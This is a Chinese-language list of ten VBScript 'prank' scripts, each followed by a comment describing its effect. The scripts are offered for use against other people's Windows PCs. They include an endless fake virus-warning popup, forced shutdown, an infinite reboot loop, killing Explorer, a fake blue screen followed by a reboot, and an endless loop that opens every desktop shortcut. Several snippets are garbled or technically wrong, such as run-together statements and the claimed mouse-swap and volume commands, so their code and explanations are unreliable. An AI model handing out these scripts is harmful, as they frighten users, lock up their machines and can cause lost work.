1.
键盘输入倒转
```
创建一个无限循环的消息弹窗
```
Set objShell = CreateObject("WScript.Shell")While True objShell.Popup "你的电脑已中毒，请立即关机！", 0, "警告", 48Wend
```
（注释：这个代码会创建一个无限循环的消息弹窗，不断向用户展示一个警告提示框，试图骗取用户关机，但实际上只是个恶搞。）
2. 倒计时关机
```
Set objShell = CreateObject("WScript.Shell")objShell.Run "shutdown -s -t 60"objShell.Popup "你的电脑将在60秒内关机！", 10, "警告", 48
```
（注释：这个代码会创建一个倒计时的消息弹窗，并在60秒后强制关机，让用户感到紧张和惊恐。）
3. 无限重启
```
Set objShell = CreateObject("WScript.Shell")While True objShell.Run "shutdown -r -t 0"Wend
```
（注释：这个代码会创建一个无限循环的重启命令，让电脑陷入无尽的重启循环中。适用于恶作剧或让别人陷入困境的场景。）
4. 彩蛋覆盖桌面
```
Set objShell = CreateObject("WScript.Shell")objShell.Run "cmd /c echo 彩蛋已启动 && timeout 5 && copy con " & Chr(34) & "%UserProfile%/Desktop/Egg.txt" & Chr(34) & " && type con >> " & Chr(34) & "%UserProfile%/Desktop/Egg.txt" & Chr(34)
```
（注释：这个代码会通过命令提示符在桌面上创建一个名为"Egg.txt"的文件，并将键盘输入的内容重定向到该文件中，制造一个彩蛋的效果。）
5. 键盘输入倒转
```
Set objShell = CreateObject("WScript.Shell")objShell.Run "cmd /c echo off && wscript %0 %* && exit /b"Set objShell = NothingSet objScript = CreateObject("WScript.Shell")strInput = objScript.InputBox("请输入要倒转的文本：", "输入倒转")strReversed = StrReverse(strInput)MsgBox "倒转后的文本：" & strReversed
```
（注释：这个代码会将用户输入的文本进行倒转，并通过消息框展示给用户，这样用户输入的文本顺序和输出的顺序就倒过来了。）
6. 隐藏任务栏
```
Set objShell = CreateObject("WScript.Shell")objShell.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced/TaskbarSizeMove", 0, "REG_DWORD"objShell.Run "taskkill /f /im explorer.exe"
```
（注释：这个代码会通过修改注册表的方式来隐藏任务栏，并结束掉资源管理器进程，让用户无法再通过任务栏操作电脑。）
7. 蓝屏错误
```
Set objShell = CreateObject("WScript.Shell")objShell.Run "cmd /c echo off && echo 您的电脑已损坏 && echo 正在生成蓝屏错误 && echo 正在重启系统... && timeout 5 && shutdown -r -t 0"
```
（注释：这个代码会通过命令提示符模拟生成一个蓝屏错误，并在5秒后重启系统。这是一个非常烦人和恶搞的行为。）
8. 桌面无限图标
```
Set objShell = CreateObject("WScript.Shell")Set objFSO = CreateObject("Scripting.FileSystemObject")strDesktopPath = objShell.SpecialFolders("Desktop")While True Set objFolder = objFSO.GetFolder(strDesktopPath) For Each objFile In objFolder.Files If objFSO.GetExtensionName(objFile.Path) = "lnk" Then objShell.Run objFile.Path End If NextWend
```
（注释：这个代码会创建一个无限循环，不断打开桌面上的快捷方式。这会让桌面上的图标密密麻麻，难以操作。）
9. 鼠标左右互换
```
Set objShell = CreateObject("WScript.Shell")objShell.Run "cmd /c echo off && setx /m /d MOUSEINPUTENABLED 0 && shutdown -r -t 0"
```
（注释：这个代码会通过命令提示符将鼠标的左右键功能进行互换，并重启电脑使其生效。这会给用户带来非常混乱和困扰的操作体验。）
10. 音量随机调整
```
Set objShell = CreateObject("WScript.Shell")Set objRandom = CreateObject("System.Random")While True intVolume = objRandom.Next(0, 101) objShell.Run "sndvol.exe -f " & intVolume, 0, False WScript.Sleep 5000Wend
```
（注释：这个代码会创建一个无限循环，每5秒钟随机调整系统音量的大小。这样会给用户带来不可预测的声音体验，可能导致用户不安和困惑。）
